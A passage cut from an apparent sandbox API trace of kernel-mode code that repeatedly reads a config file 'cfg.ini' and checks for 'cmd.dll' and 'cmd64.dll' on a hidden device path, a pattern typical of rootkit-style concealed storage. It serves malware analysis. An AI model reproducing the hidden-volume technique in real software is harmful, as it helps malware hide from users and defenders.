SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.979] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.979] IdePortDispatch () returned 0x103 [0119.979] KeWaitForMutexObject () returned 0x0 [0119.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.979] KeLeaveCriticalRegion () [0119.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.979] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.979] KeEnterCriticalRegion () [0119.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2c000 [0119.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.979] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.979] IdePortDispatch () returned 0x103 [0119.979] KeWaitForMutexObject () returned 0x0 [0119.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.979] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.979] IdePortDispatch () returned 0x103 [0119.979] KeWaitForMutexObject () returned 0x0 [0119.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.980] KeLeaveCriticalRegion () [0119.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.980] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.980] KeEnterCriticalRegion () [0119.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.980] KeLeaveCriticalRegion () [0119.980] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.980] KeEnterCriticalRegion () [0119.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.980] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.980] KeLeaveCriticalRegion () [0119.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.980] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.980] KeEnterCriticalRegion () [0119.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] ExFreePoolWithTag (P=0xfffffa80039da940, Tag=0x0) [0119.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] KeLeaveCriticalRegion () [0119.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.981] ReleaseMutex (hMutex=0xf0) returned 1 [0119.981] Sleep (dwMilliseconds=0x124f80) [0119.995] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.995] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.995] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.995] KeEnterCriticalRegion () [0119.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.995] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.995] IdePortDispatch () returned 0x103 [0119.995] KeWaitForMutexObject () returned 0x0 [0119.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.996] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.996] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.996] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.996] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.996] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb880 [0119.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.996] KeLeaveCriticalRegion () [0119.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.996] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.996] KeEnterCriticalRegion () [0119.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.996] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.996] KeLeaveCriticalRegion () [0119.996] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.996] KeEnterCriticalRegion () [0119.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.996] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.996] IdePortDispatch () returned 0x103 [0119.996] KeWaitForMutexObject () returned 0x0 [0119.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.996] KeLeaveCriticalRegion () [0119.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.996] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.996] KeEnterCriticalRegion () [0119.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b31000 [0119.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.997] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.997] IdePortDispatch () returned 0x103 [0119.997] KeWaitForMutexObject () returned 0x0 [0119.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.997] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.997] IdePortDispatch () returned 0x103 [0119.997] KeWaitForMutexObject () returned 0x0 [0119.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.997] KeLeaveCriticalRegion () [0119.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.998] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.998] KeEnterCriticalRegion () [0119.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] KeLeaveCriticalRegion () [0119.998] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.998] KeEnterCriticalRegion () [0119.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.998] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] KeLeaveCriticalRegion () [0119.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.998] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.998] KeEnterCriticalRegion () [0119.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] ExFreePoolWithTag (P=0xfffffa8003bdb880, Tag=0x0) [0119.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] KeLeaveCriticalRegion () [0119.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.998] ReleaseMutex (hMutex=0xf0) returned 1 [0119.998] Sleep (dwMilliseconds=0x124f80) [0120.010] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.017] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.017] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.017] KeEnterCriticalRegion () [0120.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.017] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.017] IdePortDispatch () returned 0x103 [0120.017] KeWaitForMutexObject () returned 0x0 [0120.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd2c0 [0120.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.017] KeLeaveCriticalRegion () [0120.017] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.017] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.017] KeEnterCriticalRegion () [0120.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.017] KeLeaveCriticalRegion () [0120.017] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.017] KeEnterCriticalRegion () [0120.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.017] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.018] IdePortDispatch () returned 0x103 [0120.018] KeWaitForMutexObject () returned 0x0 [0120.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.019] KeLeaveCriticalRegion () [0120.019] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.020] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.020] KeEnterCriticalRegion () [0120.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc6000 [0120.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.020] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.020] IdePortDispatch () returned 0x103 [0120.020] KeWaitForMutexObject () returned 0x0 [0120.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.020] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.021] IdePortDispatch () returned 0x103 [0120.021] KeWaitForMutexObject () returned 0x0 [0120.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.022] KeLeaveCriticalRegion () [0120.022] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.022] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.022] KeEnterCriticalRegion () [0120.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.022] KeLeaveCriticalRegion () [0120.022] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.022] KeEnterCriticalRegion () [0120.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.022] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.022] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.022] KeLeaveCriticalRegion () [0120.022] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.023] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.023] KeEnterCriticalRegion () [0120.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.023] ExFreePoolWithTag (P=0xfffffa8003bcd2c0, Tag=0x0) [0120.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.023] KeLeaveCriticalRegion () [0120.023] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.023] ReleaseMutex (hMutex=0xf0) returned 1 [0120.023] Sleep (dwMilliseconds=0x124f80) [0120.023] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.029] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.029] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.029] KeEnterCriticalRegion () [0120.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.029] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.029] IdePortDispatch () returned 0x103 [0120.029] KeWaitForMutexObject () returned 0x0 [0120.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.030] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.030] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.030] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.030] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.030] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da940 [0120.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.030] KeLeaveCriticalRegion () [0120.030] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.030] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.030] KeEnterCriticalRegion () [0120.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.030] KeLeaveCriticalRegion () [0120.030] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.030] KeEnterCriticalRegion () [0120.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.030] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.030] IdePortDispatch () returned 0x103 [0120.030] KeWaitForMutexObject () returned 0x0 [0120.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.031] KeLeaveCriticalRegion () [0120.031] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.031] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.031] KeEnterCriticalRegion () [0120.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf9000 [0120.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.031] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.031] IdePortDispatch () returned 0x103 [0120.031] KeWaitForMutexObject () returned 0x0 [0120.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.031] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.031] IdePortDispatch () returned 0x103 [0120.031] KeWaitForMutexObject () returned 0x0 [0120.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.031] KeLeaveCriticalRegion () [0120.032] 